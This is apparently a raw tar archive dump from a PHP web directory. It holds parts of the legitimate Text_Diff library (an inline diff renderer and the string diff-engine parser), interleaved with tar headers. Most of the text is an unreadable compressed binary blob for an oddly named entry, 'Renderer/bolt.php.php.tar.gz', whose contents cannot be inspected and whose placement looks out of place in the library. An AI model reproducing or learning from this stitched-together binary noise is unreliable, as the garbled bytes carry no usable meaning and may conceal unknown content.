     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/bolt.php.php.tar.gz                                                                        0000644                 00000060651 15217306007 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        Renderer/Engine.tar                                                                                 0000644                 00000107000 15217306007 0010226 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       string.php                                                                                          0000644                 00000020233 15217301663 0006567 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
 */
class Text_Diff_Engine_string {

    /**
     * Parses a unified or context diff.
     *
     * First param contains the whole diff and the second can be used to force
     * a specific diff type. If the second parameter is 'autodetect', the
     * diff will be examined to find out which type of diff this is.
     *
     * @param string $diff  The diff content.
     * @param string $mode  The diff mode of the content in $diff. One of
     *                      'context', 'unified', or 'autodetect'.
     *
     * @return array  List of all diff operations.
     */
    function diff($diff, $mode = 'autodetect')
    {
        // Detect line breaks.
        $lnbr = "\n";
        if (strpos($diff, "\r\n") !== false) {
            $lnbr = "\r\n";
        } elseif (strpos($diff, "\r") !== false) {
            $lnbr = "\r";
        }

        // Make sure we have a line break at the EOF.
        if (substr($diff, -strlen($lnbr)) != $lnbr) {
            $diff .= $lnbr;
        }

        if ($mode != 'autodetect' && $mode != 'context' && $mode != 'unified') {
            return PEAR::raiseError('Type of diff is unsupported');
        }

        if ($mode == 'autodetect') {
            $context = strpos($diff, '***');
            $unified = strpos($diff, '---');
            if ($context === $unified) {
                return PEAR::raiseError('Type of diff could not be detected');
            } elseif ($context === false || $unified === false) {
                $mode = $context !== false ? 'context' : 'unified';
            } else {
                $mode = $context < $unified ? 'context' : 'unified';
            }
        }

        // Split by new line and remove the diff header, if there is one.
        $diff = explode($lnbr, $diff);
        if (($mode == 'context' && strpos($diff[0], '***') === 0) ||
            ($mode == 'unified' && strpos($diff[0], '---') === 0)) {
            array_shift($diff);
            array_shift($diff);
        }

        if ($mode == 'context') {
            return $this->parseContextDiff($diff);
        } else {
            return $this->parseUnifiedDiff($diff);
        }
    }

    /**
     * Parses an array containing the unified diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseUnifiedDiff($diff)
    {
        $edits = array();
        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
